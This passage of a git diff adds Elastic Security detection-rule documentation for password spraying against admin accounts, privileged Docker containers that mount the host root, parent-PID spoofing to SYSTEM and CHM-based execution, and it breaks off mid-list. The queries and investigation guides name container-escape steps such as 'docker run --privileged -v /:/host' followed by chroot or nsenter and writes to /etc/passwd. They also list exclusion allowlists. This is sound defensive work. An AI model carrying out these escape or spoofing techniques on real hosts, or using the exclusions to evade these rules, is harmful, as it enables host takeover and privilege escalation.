+*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where event.category == "authentication" and host.os.type == "windows" and event.action == "logon-failed" and + winlog.logon.type == "Network" and source.ip is not null and winlog.computer_name is not null and + not cidr_match(TO_IP(source.ip), "127.0.0.0/8", "::1") and + to_lower(winlog.event_data.TargetUserName) like "*admin*" and + /* + noisy failure status codes often associated to authentication misconfiguration + 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine. + 0XC000005E - There are currently no logon servers available to service the logon request. + 0XC0000133 - Clocks between DC and other computer too far out of sync. + 0XC0000192 An attempt was made to logon, but the Netlogon service was not started. + 0xc00000dc - DC is in shutdown phase, it will normally tell current clients to use another DC for authentication. + */ + not winlog.event_data.Status in ("0xc000015b", "0xc000005e", "0xc0000133", "0xc0000192", "0xc00000dc") +// truncate the timestamp to a 60-second window +| eval Esql.time_window = date_trunc(60 seconds, @timestamp) +| stats Esql.failed_auth_count = COUNT(*), + Esql.target_user_name_values = VALUES(winlog.event_data.TargetUserName), + Esql.count_distinct_user_name = count_distinct(winlog.event_data.TargetUserName), + Esql.user_domain_values = VALUES(user.domain), + Esql.error_codes = VALUES(winlog.event_data.Status), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace) by winlog.computer_name, source.ip, Esql.time_window, winlog.logon.type +| where Esql.failed_auth_count >= 50 and Esql.count_distinct_user_name >= 2 +| eval user.name = mv_first(Esql.target_user_name_values) +| KEEP winlog.computer_name, source.ip, user.name, Esql.time_window, winlog.logon.type, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-container-creation-with-host-directory-mount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-container-creation-with-host-directory-mount.asciidoc new file mode 100644 index 0000000000..56edb2bdb9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-container-creation-with-host-directory-mount.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-privileged-container-creation-with-host-directory-mount]] +=== Privileged Container Creation with Host Directory Mount + +This rule detects the creation of privileged containers that mount host directories into the container's filesystem. Such configurations can be exploited by attackers to escape the container isolation and gain access to the host system, potentially leading to privilege escalation and lateral movement within the environment. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://unit42.paloaltonetworks.com/container-escape-techniques/ + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privileged Container Creation with Host Directory Mount* + + +This rule flags creation of a privileged container that bind-mounts host directories into the container filesystem, breaking isolation and granting direct access to host files and devices. An attacker on a compromised node starts a privileged container via the runtime, bind-mounts the host root (/:) inside it, then chroots and alters critical files or services to seize host control, persist, and pivot. + + +*Possible investigation steps* + + +- Retrieve the full process tree and execution context (user, controlling TTY, parent, remote source IP) to identify who initiated the container and whether it aligns with a sanctioned change. +- Run runtime introspection to confirm the container’s mounts and privileges (e.g., docker ps/inspect or CRI equivalents), capturing the container ID, exact hostPath mappings, image, entrypoint, and start time. +- If orchestrated, correlate with Kubernetes events and kubelet logs at the same timestamp to find any Pod using privileged: true with hostPath volumes, recording the namespace, service account, controller, and requestor. +- Review audit and file integrity telemetry after container start for host-impacting actions such as chroot into the mount, nsenter into host namespaces, or writes to critical paths (/etc/passwd, /etc/sudoers, /root/.ssh, /var/lib/kubelet, and systemd unit directories). +- Assess image provenance and intent by resolving the image digest and registry, reviewing history/entrypoint for post-start tooling, and validating with service owners or allowlists whether this privileged host-mount is expected on this node. + + +*False positive analysis* + + +- An administrator uses docker run --privileged with -v /:/host during a break-glass or troubleshooting session to edit host files or restart services, matching the pattern but aligned with an approved maintenance procedure. +- Automated provisioning or upgrade workflows intentionally start a privileged container that bind-mounts / to apply system configuration, install packages, or manage kernel modules during node bootstrap, producing an expected event. + + +*Response and remediation* + + +- Immediately stop and remove the privileged container by its ID using docker, cordon the node to prevent scheduling, and temporarily disable the Docker/CRI socket to block further privileged runs. +- Preserve forensic artifacts (docker inspect output, container image and filesystem, bash history, /var/log) and remediate by diffing and restoring critical paths (/etc, /root/.ssh, /etc/systemd/system, /var/lib/kubelet), removing rogue users, SSH keys, and systemd units. +- Rotate credentials potentially exposed by the host mount (SSH keys, kubelet certs, cloud tokens under /var/lib/kubelet or /root), patch the container runtime, and uncordon or rejoin the node only after verifying privileged runs and host-root mounts are blocked. +- Escalate to incident response if the mount included "/" or if evidence shows chroot or nsenter into host namespaces or writes to /etc/passwd, /etc/sudoers, or systemd unit files, and initiate host reimage and broader fleet scoping. +- Enforce controls that deny --privileged and hostPath of "/" via admission policy (Pod Security Standards, Kyverno, OPA Gatekeeper), drop CAP_SYS_ADMIN with seccomp/AppArmor, enable Docker userns-remap and no-new-privileges, and restrict membership in the docker group. +- Establish a break-glass approval workflow and an allowlist for legitimate host mounts, enable file integrity monitoring on /etc and kubelet directories, and add runtime rules to alert and block future docker run -v /:/host attempts. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "docker" and process.args == "--privileged" and process.args == "run" and +process.args == "-v" and process.args like "/:/*" and +not ( + (process.args == "aktosecurity/mirror-api-logging:k8s_ebpf" and process.args == "akto-api-security-traffic-collector") or + (process.args like "goharbor/prepare:*" and process.args in ("/:/hostfs", "/:/hostfs/")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-docker-container-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-docker-container-creation.asciidoc new file mode 100644 index 0000000000..b00fb2bd34 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileged-docker-container-creation.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-privileged-docker-container-creation]] +=== Privileged Docker Container Creation + +This rule leverages the new_terms rule type to identify the creation of a potentially unsafe docker container from an unusual parent process. Attackers can use the "--privileged" flag to create containers with escalated privileges, which can lead to trivial privilege escalation, docker escaping and persistence. access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privileged Docker Container Creation* + + +Docker containers are lightweight, portable units that package applications and their dependencies. The `--privileged` flag grants containers extensive host access, posing security risks. Adversaries exploit this to escalate privileges or escape containers. The detection rule identifies unusual privileged container creation by monitoring specific process actions and arguments, helping to flag potential threats early. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the `--privileged` flag in the process arguments, as indicated by the query field `process.args:(run and --privileged)`. +- Identify the parent process of the Docker command by examining the `event.category:process` and `event.type:start` fields to determine if it originates from an unusual or unauthorized source. +- Check the user account associated with the Docker process to verify if it has legitimate access and permissions to create privileged containers. +- Investigate the timeline of events leading up to the container creation by reviewing related logs and events around the `event.action:exec` to identify any suspicious activities or patterns. +- Assess the container's configuration and running processes to determine if any unauthorized or potentially harmful applications are being executed within the container. +- Correlate the alert with other security events or alerts in the environment to identify potential indicators of compromise or broader attack patterns. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if system administrators use the --privileged flag for legitimate container management. To handle this, identify and document these tasks, then create exceptions for known administrative processes. +- Automated deployment scripts that require elevated privileges might also cause false positives. Review these scripts and whitelist them by specifying the parent process or script name in the exclusion criteria. +- Development environments often use privileged containers for testing purposes. To reduce noise, exclude processes originating from known development machines or user accounts. +- Some monitoring or security tools may use privileged containers for legitimate purposes. Verify these tools and add them to the exception list to prevent unnecessary alerts. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further interaction with the host system. This can be done by stopping the container using `docker stop `. + +- Review and revoke any unnecessary permissions or access rights granted to the container. Ensure that the `--privileged` flag is not used unless absolutely necessary. + +- Conduct a thorough investigation of the container's filesystem and running processes to identify any malicious activity or unauthorized changes. Use tools like `docker exec` to inspect the container's environment. + +- Check for any signs of container escape or host compromise by reviewing system logs and monitoring for unusual activity on the host machine. + +- If a compromise is confirmed, initiate a full incident response procedure, including forensic analysis and system restoration from clean backups. + +- Update and patch the Docker daemon and any related software to the latest versions to mitigate known vulnerabilities that could be exploited. + +- Enhance monitoring and alerting for privileged container creation by integrating additional security tools or services that provide real-time threat intelligence and anomaly detection. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and +event.action:(exec or exec_event or start) and +process.name:docker and process.args:(run and --privileged) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileges-elevation-via-parent-process-pid-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileges-elevation-via-parent-process-pid-spoofing.asciidoc new file mode 100644 index 0000000000..d099e166a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privileges-elevation-via-parent-process-pid-spoofing.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-privileges-elevation-via-parent-process-pid-spoofing]] +=== Privileges Elevation via Parent Process PID Spoofing + +Identifies parent process spoofing used to create an elevated child process. Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6 +* https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/ +* https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.002/T1134.002.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Privileges Elevation via Parent Process PID Spoofing* + + + +*Possible investigation steps* + + +- Does the alert show a SYSTEM child with a spoofed parent relationship? + - Focus: `user.id`, token integrity, `process.parent.pid`, `process.parent.Ext.real.pid`, and `process.parent.executable`. + - Implication: escalate when a SYSTEM child has a nonzero real-creator PID that differs from the reported parent, especially when that parent gives trusted system, service, or desktop cover; treat a recognized broker or authorized test as only a candidate benign path until creator and child intent are checked. + - Why: PPID spoofing can make process-tree views show the selected parent instead of the process that requested creation. +- Which process actually requested the spoofed launch? + - Focus: recovered creator for `process.parent.Ext.real.pid`: `process.entity_id`, `process.executable`, `process.command_line`, signer, and trust state. + - Implication: escalate when the creator is unsigned, user-writable, a shell or script launcher, or unrelated to the reported parent; lower suspicion only for a stable signed vendor, update, accessibility, audit, or test component tied to the same workflow. + - Why: the Windows parent-process attribute can select a parent handle, so the recovered creator is the actor path the visible parent may hide. + - Hint: search the same `host.id` around `@timestamp` for `process.pid` = `process.parent.Ext.real.pid`; keep PID windows tight because PIDs are reused. !{investigate{"description":"","label":"Real creator process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.Ext.real.pid}}","valueType":"string"}]],"relativeFrom":"now-15m","relativeTo":"now"}} +- Does the SYSTEM child identity and command line fit the recovered creator workflow? + - Focus: `process.executable`, `process.command_line`, `process.pe.original_file_name`, signer, and trust state. + - Implication: escalate when the child is a shell, script host, renamed binary, user-writable executable, unsigned or untrusted, or has commands that do not belong to the recovered creator; trusted signing reduces identity concern but does not clear PPID spoofing without launch-context fit. +- Did the spoofed SYSTEM child launch follow-on activity? + - Focus: child process events from `process.entity_id`, reviewing `process.executable`, `process.command_line`, and `user.id`. !{investigate{"description":"","label":"Descendant process events for the spoofed child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when it spawns shells, scripting, credential, service, or lateral-movement tooling under SYSTEM; no descendants lowers immediate impact but does not clear a suspicious creator or child identity. + - Hint: if `process.entity_id` is unavailable, fall back to `host.id`, `process.pid`, and a tight alert-time window. +- If escalation is likely, what is the immediate scope? + - Focus: prior process alerts for `host.id` and `user.id` with matching child executable or hash, reported parent, and real-creator PID. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand containment and scoping when the same child or creator appears on other hosts or unrelated users; keep scope local when the tuple is isolated and no descendant activity contradicts it. Do not use recurrence alone to close. + - Range: use a lookback that fits endpoint retention. + +Disposition: escalate when PPID spoofing to SYSTEM has an unrecognized creator, suspicious child, misleading parent, SYSTEM follow-on activity, or cross-host scope. Close only when alert and recovered telemetry tie the event to one exact recognized broker or authorized test and no descendant evidence contradicts it; preserve evidence and escalate when recovery is incomplete or evidence conflicts. + + +*False positive analysis* + + +- Signed broker cases require the exact telemetry tuple: child path, signer, and command; reported parent path; recovered creator path, signer, and command; and host/user cohort. Authorized PPID-spoofing tests require exact host, time, tester, test binary, parent PID, real creator PID, and child command line. Without that tie to one product or test, treat as suspicious because the rule already filters common Windows Error Reporting, update, accessibility, remote-support, and Netwrix patterns. +- Build exceptions only from the minimum confirmed tuple: `process.hash.sha256` or `process.code_signature.thumbprint_sha256`, `process.executable`, `process.parent.executable`, recovered creator identity, `host.id` or managed host group, and the test or product command pattern. Avoid exceptions on `process.name`, `process.parent.name`, or signer alone. + + +*Response and remediation* + + +- If confirmed benign: document the exact child, reported parent, real creator, signer, command line, host, and user evidence that proved the workflow; reverse any temporary containment and create only a narrow exception for the same tuple. +- If suspicious but unconfirmed: preserve the alert, process event, recovered creator and descendant process records, process entity IDs and PIDs, command lines, hashes, signers, and current process state before containment. Use reversible containment such as host isolation or temporary policy controls based on host criticality; avoid killing the child or creator until evidence is preserved. +- If confirmed malicious: isolate the affected host when identity, lineage, or descendant evidence shows unauthorized SYSTEM execution. Before termination, record `process.entity_id`, `process.parent.Ext.real.pid`, `process.command_line`, and `process.hash.sha256`; then terminate malicious child or descendant processes and remove only the binaries, scripts, services, or persistence found during follow-on investigation. +- Reset or rotate credentials only for accounts, services, or remote-access paths whose misuse is confirmed by additional evidence. Do not treat SYSTEM context alone as proof that a named user credential was compromised. +- Post-incident hardening: restrict administrative paths that can obtain parent-process creation privileges, review who can run PPID-spoofing test tools, and document the confirmed tuple or malicious artifact set so future analysts can separate repeated product behavior from repeated abuse. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is compatible with Elastic Endpoint only */ + +process where host.os.type == "windows" and event.action == "start" and + + /* process creation via seclogon */ + process.parent.Ext.real.pid > 0 and process.parent.executable != null and + + /* PrivEsc to SYSTEM */ + user.id : "S-1-5-18" and + + /* Common FPs - evasion via hollowing is possible, should be covered by code injection */ + not process.executable : ("?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\SysWOW64\\WerFaultSecure.exe", + "?:\\Windows\\System32\\Wermgr.exe", + "?:\\Windows\\SysWOW64\\Wermgr.exe", + "?:\\Windows\\SoftwareDistribution\\Download\\Install\\securityhealthsetup.exe") and + /* Logon Utilities */ + not (process.parent.executable : "?:\\Windows\\System32\\Utilman.exe" and + process.executable : ("?:\\Windows\\System32\\osk.exe", + "?:\\Windows\\System32\\Narrator.exe", + "?:\\Windows\\System32\\Magnify.exe", + "?:\\Windows\\System32\\VoiceAccess.exe")) and + + not process.parent.executable : "?:\\Windows\\System32\\AtBroker.exe" and + + not (process.code_signature.subject_name in + ("philandro Software GmbH", "Freedom Scientific Inc.", "TeamViewer Germany GmbH", "Projector.is, Inc.", + "TeamViewer GmbH", "Cisco WebEx LLC", "Dell Inc") and process.code_signature.trusted == true) and + + /* AM_Delta_Patch Windows Update */ + not (process.executable : ("?:\\Windows\\System32\\MpSigStub.exe", "?:\\Windows\\SysWOW64\\MpSigStub.exe") and + process.parent.executable : ("?:\\Windows\\System32\\wuauclt.exe", + "?:\\Windows\\SysWOW64\\wuauclt.exe", + "?:\\Windows\\UUS\\Packages\\Preview\\*\\wuaucltcore.exe", + "?:\\Windows\\UUS\\amd64\\wuauclt.exe", + "?:\\Windows\\UUS\\amd64\\wuaucltcore.exe", + "?:\\ProgramData\\Microsoft\\Windows\\UUS\\*\\wuaucltcore.exe")) and + + /* Other third party SW */ + not process.parent.executable : + ("?:\\Program Files (x86)\\HEAT Software\\HEAT Remote\\HEATRemoteServer.exe", + "?:\\Program Files (x86)\\VisualCron\\VisualCronService.exe", + "?:\\Program Files\\BinaryDefense\\Vision\\Agent\\bds-vision-agent-app.exe", + "?:\\Program Files\\Tablet\\Wacom\\WacomHost.exe", + "?:\\Program Files (x86)\\LogMeIn\\x64\\LogMeIn.exe", + "?:\\Program Files (x86)\\EMC Captiva\\Captiva Cloud Runtime\\Emc.Captiva.WebCaptureRunner.exe", + "?:\\Program Files\\Freedom Scientific\\*.exe", + "?:\\Program Files (x86)\\Google\\Chrome Remote Desktop\\*\\remoting_host.exe", + "?:\\Program Files (x86)\\GoToAssist Remote Support Customer\\*\\g2ax_comm_customer.exe") and + not ( + process.code_signature.trusted == true and process.code_signature.subject_name == "Netwrix Corporation" and + process.name : ("adcrcpy.exe", "addumpcaller.exe") and process.parent.name : ( + "Netwrix.ADA.EventCollector.exe", + "Netwrix.ADA.Analyzer.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Sub-technique: +** Name: Parent PID Spoofing +** ID: T1134.004 +** Reference URL: https://attack.mitre.org/techniques/T1134/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-activity-via-compiled-html-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-activity-via-compiled-html-file.asciidoc new file mode 100644 index 0000000000..e89bb23017 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-activity-via-compiled-html-file.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-process-activity-via-compiled-html-file]] +=== Process Activity via Compiled HTML File + +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable program (hh.exe). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Activity via Compiled HTML File* + + +CHM (Compiled HTML) files are a format for delivering online help files on Windows. CHM files are compressed compilations of various content, such as HTML documents, images, and scripting/web-related programming languages such as VBA, JScript, Java, and ActiveX. + +When users double-click CHM files, the HTML Help executable program (`hh.exe`) will execute them. `hh.exe` also can be used to execute code embedded in those files, PowerShell scripts, and executables. This makes it useful for attackers not only to proxy the execution of malicious payloads via a signed binary that could bypass security controls, but also to gain initial access to environments via social engineering methods. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- 